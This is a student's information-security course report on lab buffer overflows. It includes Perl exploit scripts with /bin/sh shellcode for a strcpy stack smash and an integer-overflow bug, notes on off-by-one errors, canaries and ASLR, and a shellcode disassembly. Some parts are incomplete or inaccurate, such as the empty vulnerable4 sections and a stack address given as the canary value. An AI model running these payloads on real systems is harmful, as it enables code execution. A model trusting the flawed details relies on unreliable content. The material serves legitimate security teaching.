Project 1 Report **Ritwika Kancharla**
CS 52600 Information Security
Prof. Christina Garman Due Date: 02/01/18

vulnerable1.c

1. **Behavior:** This program takes one argument in addition to the file name. It prints an error message if the number of arguments is not 2. The "main" function calls a function called "launch" with *argv*[1] as the argument. In the function "launch", this string is copied into the local variable 'buffer' using the *strcpy* function. This variable 'buffer' is a char array of size 200.

2. **Vulnerability:** When performing the copy in the function "launch", a bound check is not performed on the length of the input string. This means that if the length of the input string is more than 200, the *strcpy* operation overwrites values on the stack. The values on the stack which are at a risk of being overwritten are the return address to the main function, the saved frame pointer and the value of the argument itself since it is stored on the stack. Thus this program has the vulnerability of causing a smash attack on the stack. It's implications are that this could lead to the attacker crashing the program, executing arbitrary code and libc functions.

3. **Exploit:** My program exploits this vulnerability by inserting code onto the stack and pointing the return address to the inserted code on the stack.

4. **Attack:** The attack has been attached in the file "attack1.pl"

   The perl code of the attack is given below.

   ```
   #!/usr/bin/perl

   $nopsled = "\x90" x 64;
   $shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b".
     "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd".
     "\x80\xe8\xdc\xff\xff\xff/bin/sh";
   $padding = 'A' x (204 - 64 - 45);
   $eip = "\xd0\xf6\xff\xbf
   ";
   $final = $nopsled.$shellcode.$padding.$eip;
   print $final;
   ```

5. **Fix:** ASLR - Address Space Layout Randomization is a defense mechanism which makes buffer overflows much difficult. We can enable it by executing the command

   ```
   echo 1 > /proc/sys/kernel/randomize_va_space
   ```

   This makes it difficult for the attacker to insert code at a specific address as the entire layout of the address space is randomized. As shown in the attack the return address is overwritten by the variable "$eip". This address is $0xbffff6d0$. This address is obtained by analyzing the code using gdb and figuring out the return address from the "launch" function.

   In addition to this we can make the stack non-executable which would result in a fault.

vulnerable2.c

1. **Behavior:** This program takes in a single argument called cursor. Firstly, the program checks if the input is in the correct format and prints an error message if it's not. Then the cursor is parsed such that the number of tweets is stored in the variable feed_count. Then it checks if the remaining length of the cursor is at least as much as the size of feed_count number of "live_feed" structs. If this is so, then the function "launch" is called with these arguments and the tweets are stored in the local variables.

2. **Vulnerability:** We can exploit the integer overflow vulnerability in this program. The reason for this is that the signed integer "*feed_count*" is being compared with unsigned integers. Also there are multiplications between signed and unsigned integers in this program. This means that when we pass in a negative integer for the variable '*feed_count*', it can treated as a very large unsigned integer. In the following line of code,

   ```
   (strlen(cursor + 1) < sizeof(struct live_feed) * feed_count)
   ```

   the signed integer is being multiplied with an unsigned integer. Thus when we pass in a large negative number, this product overflows and is as a result truncated and only the lowest bits are stored in the unsigned integer.

3. **Exploit:** One possible exploit for this program might be to write beyond the buffer variable defined in the function launch. To get to that line, we need to pass two if statements. If we pass a negative value for the variable feed_count, the if condition in the function launch will be satisfied. In order to satisfy the if condition in the main function, we need to pass a negative value large enough so that the product wraps around and is greater than the length of the input string.

   Inside the function launch, we need to overwrite the return address so that it points back to the stack when the shellcode is stored as a local variable.

4. **Attack:** The attack is shown below.

   ```
   #!/usr/bin/perl

   $nopsled = "\x90" x 64;
   $shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b".
     "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd".
     "\x80\xe8\xdc\xff\xff\xff/bin/sh";
   $padding = 'A' x (5000 - 64 - 45);
   $eip = "\x68\x9c\xff\xbf" x 2000;
   $final = $nopsled.$shellcode.$padding.$eip;
   print '-214747836,';
   print $final;
   ```

5. **Fix:** Similar to the first problem, we can fix this by making the stack non-executable and also by using ASLR.

vulnerable3.c

1. **Behavior:** This function tries emulate the strncpy function which copies the one string to another. The strcpyn function takes in two char array pointers and their corresponding lengths. But the function strcpyn writes one byte beyond the buffer value, making the implementation wrong.

2. **Vulnerability:** In this program, there is an error in the function “strcpyn”. Here the index i iterates from 0 to length where both are inclusive. Thus it is writing one byte beyond its allocated space.

3. **Exploit:** We can do the following exploit. By writing beyond the value of the of the buffer by one byte, we can change the one byte of the ebp register. This means that the return address is also different from the actual return address, as it is accessed relative to the ebp register. We can thus exploit this vulnerability.

4. **Fix:** Similar to the previous two problems, we can fix this vulnerability by making the stack non-executable. This would make the injection of the shell code onto the stack ineffective.

vulnerable4.c

1. **Behavior:** This program depending on the input from the user reads from a file using an offset, writes to a file using an offset after which it gives the user the option saving and quitting the file or directly quitting the file.

2. **Vulnerability:**

3. **Exploit:**

4. **Fix:**

5. **Stack Canary Value:** The value of the stack canary is $0xbffff868$. We can step through the code, and find the value just before the return address inside the function launch. We need to look at the stack and determine the value on the stack just before the return address.

6. **Change in Value:** The value does not change in between executions. But it does change upon rebooting the virtual machine.

7. **Security:** The stack canary technique increases the difficulty of the buffer overflow attacks. Because the stack canary value is written on the stack just before the return pointer, in order to overwrite the return address, the canary value has to be corrupted. The program thus detects if malicious code has been injected by checking the canary value.

1 Shellcode Analysis

Upon disassembling the mystery_shellcode.h file, we get the following assembly code.

```
0804a0a0 <shellcode>:
 804a0a0: 31 c9                xor    ecx,ecx
 804a0a2: b9 0e 0f 10 21       mov    ecx,0x21100f0e
 804a0a7: 81 f1 21 21 21 21    xor    ecx,0x21212121
 804a0ad: 51                   push   ecx
 804a0ae: 31 c9                xor    ecx,ecx
 804a0b0: b9 0e 55 4c 51       mov    ecx,0x514c550e
 804a0b5: 81 f1 21 21 21 21    xor    ecx,0x21212121
 804a0bb: 51                   push   ecx
 804a0bc: 89 e3                mov    ebx,esp
 804a0be: 31 c0                xor    eax,eax
 804a0c0: 31 c9                xor    ecx,ecx
 804a0c2: 31 d2                xor    edx,edx
 804a0c4: b0 05                mov    al,0x5 -> sys_open
 804a0c6: b1 41                mov    cl,0x41
 804a0c8: b6 01                mov    dh,0x1
 804a0ca: b2 c0                mov    dl,0xc0
 804a0cc: cd 80                int    0x80 -> System call
 804a0ce: 89 c3                mov    ebx,eax
 804a0d0: 31 c9                xor    ecx,ecx
 804a0d2: b9 44 0f 01 2b       mov    ecx,0x2b010f44
 804a0d7: 81 f1 21 21 21 21    xor    ecx,0x21212121
 804a0dd: 51                   push   ecx
 804a0de: 31 c9                xor    ecx,ecx
 804a0e0: b9 4c 52 49 4e       mov    ecx,0x4e49524c
 804a0e5: 81 f1 21 21 21 21    xor    ecx,0x21212121
 804a0eb: 51                   push   ecx
 804a0ec: 31 c9                xor    ecx,ecx
 804a0ee: b9 0d 01 46 54       mov    ecx,0x5446010d
 804a0f3: 81 f1 21 21 21 21    xor    ecx,0x21212121
 804a0f9: 51                   push   ecx
 804a0fa: 31 c9                xor    ecx,ecx
 804a0fc: b9 01 4b 4e 43       mov    ecx,0x434e4b01
 804a101: 81 f1 21 21 21 21    xor    ecx,0x21212121
 804a107: 51                   push   ecx
 804a108: 31 c9                xor    ecx,ecx
 804a10a: b9 4f 48 42 44       mov    ecx,0x4442484f
 804a10f: 81 f1 21 21 21 21    xor    ecx,0x21212121
 804a115: 51                   push   ecx
 804a116: 89 e1                mov    ecx,esp
 804a118: 31 c0                xor    eax,eax
 804a11a: b0 04                mov    al,0x4 -> sys_write
 804a11c: 31 d2                xor    edx,edx
 804a11e: b2 14                mov    dl,0x14
 804a120: cd 80                int    0x80 -> System call
 804a122: 31 c0                xor    eax,eax
 804a124: b0 06                mov    al,0x6
 804a126: 31 db                xor    ebx,ebx
 804a128: 31 c0                xor    eax,eax
 804a12a: b0 01                  mov    al,0x1 -> sys_exit
 804a12c: cd 80                  int    0x80 -> System call
```

In the above assembly code, we can see that there are three places where a system call is being called. By looking at the value of the register al we can determine the type of the system call.

The arguments for the above system calls are listed below,

- **sys_open:** ebx - filename, ecx - flags, edx - mode
- **sys_write:** ebd - unsigned int fd, ecx - char* buffer, size_t count
- **sys_exit:** ebx - error code

By looking at the assembly code, we can determine the arguments being passed to these system calls in the registers ebx, ecx and edx.

Attachments

attack1.c, attack2.c, attack3.c, attack4.c, attack4-input, attack4-commands,

References

[1] http://syscalls.kernelgrok.com/